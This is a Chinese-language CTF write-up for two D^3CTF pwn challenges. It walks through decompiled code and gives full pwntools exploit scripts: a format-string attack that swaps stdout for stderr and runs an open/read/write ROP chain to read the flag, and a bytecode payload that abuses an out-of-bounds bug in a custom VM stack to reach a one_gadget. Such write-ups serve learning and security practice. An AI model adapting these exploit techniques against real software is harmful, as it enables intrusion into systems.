这次 的D^3ctf 又是给吊打 难顶。。。
所以题都是赛后解出来的,在这感谢Peanuts师傅
unprintableV
看看保护:
看看伪代码,其实代码很少
void __cdecl menu() { char *a; // [rsp+8h] [rbp-8h] a = buf; puts("welcome to d^3CTF!"); printf("here is my gift: %p ", &a); puts("may you enjoy my printf test!"); close(1); while ( strncmp(buf, "d^3CTF", 6uLL) && time ) vuln(); }
漏洞主要在vuln
void __cdecl vuln() { read(0, buf, 0x12CuLL); printf(buf, buf); --time; }
这里开了 沙箱
禁用了 execve
所以不能调用system getshell
所以应该用 open read write结合读flag
但是 这里 有close(1)
就算利用 printf的格式化漏洞 读出内容了 ,还是显示不了,但是Peanuts师傅的指点,可以用 把 stdout 覆盖成 stderr 然后就可以输出了 然后就是常规的printf 格式化漏洞,最后 进行栈转移。
exp:
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * context.log_level = 'debug' libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") context.arch = "amd64" def rsl(c1,c2): r.recvuntil(c1) r.sendline(c2) def rs(c1,c2): r.recvuntil(c1) r.send(c2) def eee_aa(payload): global count r.send(payload.ljust(300,'x00')) sleep(0.1) count = count -1 def set_value(c1,index_,n): for i in range(n): payload ='%'+str(int(index_+i))+'d%6$hhn' eee_aa(payload) one_gadget1 = ((c1)>>(i*8))&0xff payload = "%"+str(one_gadget1)+"d%10$hhn" eee_aa(payload) for i in range(1000): count = 0x64 #r = process("./unprintableV") #r = remote(host,port) r=process("./unprintableV") r.recvuntil("here is my gift: 0x") leak = int(r.recv(12),16) print hex(leak) index = leak & 0xff payload ='%'+str(int(index))+'c%6$hhn' eee_aa(payload) payload = "%32c%10$hhn" eee_aa(payload) payload = "%5440c%9$hn" eee_aa(payload) payload = '%7$p' eee_aa(payload) try: ooo =r.recvuntil("0x",timeout = 0.5) if ooo=='': r.close() continue except Exception as e: r.close() continue base_addr=int(r.recv(12),16)-0xafb payload = "%15$p" print hex(base_addr) eee_aa(payload) r.recvuntil("0x") libc_addr =int(r.recv(12),16)-0x20830 print hex(libc_addr) mprotect_addr = libc.symbols['mprotect']+libc_addr pop_rdi = libc_addr + 0x21102 pop_rsi = libc_addr + 0x202e8 pop_rdx = libc_addr + 0x1b92 pop_rcx = libc_addr + 0xea69a pop_rax = libc_addr + 0x33544 syscall = libc_addr + 0xbc375 rop =p64(0) rop += p64(pop_rdi) rop +=p64(base_addr+0x202070) rop +=p64(pop_rsi) rop +=p64(0) rop +=p64(pop_rdx) rop +=p64(0) rop +=p64(pop_rax) rop +=p64(2) rop +=p64(syscall) #open rop +=p64(pop_rdi) rop +=p64(1) rop +=p64(pop_rsi) rop +=p64(base_addr+0x202300) rop +=p64(pop_rdx) rop +=p64(100) rop +=p64(pop_rax) rop +=p64(0) rop +=p64(syscall) #read rop +=p64(pop_rdi) rop +=p64(2) rop +=p64(pop_rsi) rop +=p64(base_addr+0x202300) rop +=p64(pop_rdx) rop +=p64(100) rop +=p64(pop_rax) rop +=p64(1) rop +=p64(syscall) set_value(base_addr+0x850,index+0x10,2) set_value(base_addr+0x202080,index+0x18,6) set_value(base_addr+0x9f8,index+0x20,6) #raw_input() #set_value(pop_rdi,index+0x10) #set_value(leak,index+0x18) #set_value(pop_rsi,index+0x20) #set_value(0x1000,index+0x28) #set_value(pop_rdx,index+0x30) #payload ='%'+str(int(index+0x38))+'d%6$hhn' #eee_aa(payload) #one_gadget1 = 7 #print hex(one_gadget1) #payload = "%"+str(one_gadget1)+"d%10$hhn" #eee_aa(payload) #set_value(leak,0x40) print len(rop) sleep(1) payload="d^3CTF" payload=payload.ljust(0x10,'x00') payload+="flag" payload=payload.ljust(0x20,'x00') # open('./flag').read(fd,leak+300),write(1,leak+300,0x20) payload=payload+rop eee_aa(payload) #raw_input() r.interactive() break
babyrop
这道的 保护倒是全开了
然后看看代码
里面定义了一个结构;
a3->_esp = &v8; a3->stack_size = 10; a3->_ebp = a3->_esp + 0x50;
然后 下面 有一些操作,然后可以看出 这个结构维持了 一个栈堆的结构。
while ( *(*index + code) ) { v4 = *(*index + code); switch ( off_14B4 ) { case 0u: *index = 0LL; return 1LL; case 8u: push_int(stack, *(++*index + code)); *index += 4LL; break; case 0x12u: put_char(stack, *(++*index + code)); ++*index; break; case 0x15u: push_int64(stack, *(++*index + code)); *index += 8LL; break; case 0x21u: add_0(stack); ++*index; break; case 0x26u: add_index(stack, *(++*index + code)); ++*index; break; case 0x28u: ++*index; if ( !stack_sub_0x80(stack, v6) ) exit(0); return result; case 0x30u: index_sub(stack, *(++*index + code)); ++*index; break; case 0x34u: ++*index; sub_E17(stack); break; case 0x38u: ++*index; set_zero_for(stack); break; case 0x42u: sub_EDF(stack); ++*index; break; case 0x51u: add(stack); ++*index; break; case 0x52u: sub(stack); ++*index; break; case 0x56u: mov_index(stack, *(++*index + code)); *index += 4LL; break; default: exit(0); return result; } }
while 里面的指令都是对 这个结构进行读取,pop push 加减 都有
这个漏洞的主要是
signed __int64 __fastcall sub_C26(struc_1 *a1, _QWORD *a2) { if ( !a1->stack_size && *a2 > 1LL )#size是负数的时候 也是不满足的,导致了 栈越界访问,然后可以修改当前栈保存的 返回地址 return 0LL; a1->_esp += 0x50LL; a1->stack_size -= 10; ++*a2; return 1LL; }
我们可以多次 调用这个 函数 。
另外,我们第一输入的256个字符是操作指令,有些指令带参数,有些不带参数。
但很关键的一点是
signed __int64 __fastcall int_mov(struc_1 *a1, int a2) { if ( a1->stack_size > 9u ) exit(0); a1->_esp -= 8LL; *a1->_esp = a2; ++a1->stack_size; return 1LL; }
我们 多次调用 sub_C26之后 会导致 a1->stack_size > 9u 不满足。
但是 有这个函数
signed __int64 __fastcall mov_index(struc_1 *a1, int a2) { *a1->_esp = a2; return 1LL; }
虽然 写 4个字节,但是也足够了 因为我们 可以找一个esp指向 0的值,然后赋值,然后再一直调用
signed __int64 __fastcall sub_E17(struc_1 *a1) { struc_1 *v1; // ST08_8 v1 = a1; ++a1->stack_size; v1->_esp -= 8LL; *v1->_esp = *(v1->_esp + 8); *(a1->_esp + 8) = 0LL; return 1LL; }
然后 加上栈上残留的___libc_start_main的地址 就可以获得一个 指向 onegadget的地址,然后就是一样的操作 继续往前面覆盖 最后覆盖掉 返回地址
但是 onegadget 也有条件 就是rsp+0x30为null 那么我们可以调用几次 sub_C26,然后写null
下面是exp
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * context.log_level = 'debug' r = process("./babyrop") #r = remote(host,port) def rsl(c1,c2): r.recvuntil(c1) r.sendline(c2) def rs(c1,c2): r.recvuntil(c1) r.send(c2) sleep(0.5) payload = 'x28x12x12'+'x28'*2+'x34'+'x28'+'x34'*2+'x28'+'x34'*28+'x56'+p32(0x24a3a)+'x21'+'x34'*5+'x28' payload = payload.ljust(256,'x00') r.send(payload) r.interactive()
我这次是本地进行调试的 所以libc 可能和比赛有所不一样。。